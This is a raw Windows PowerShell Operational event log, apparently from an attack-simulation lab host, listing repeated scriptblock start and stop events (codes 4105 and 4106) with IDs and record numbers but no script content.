SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048743
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048738
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048737
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048715
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048713
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048712
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
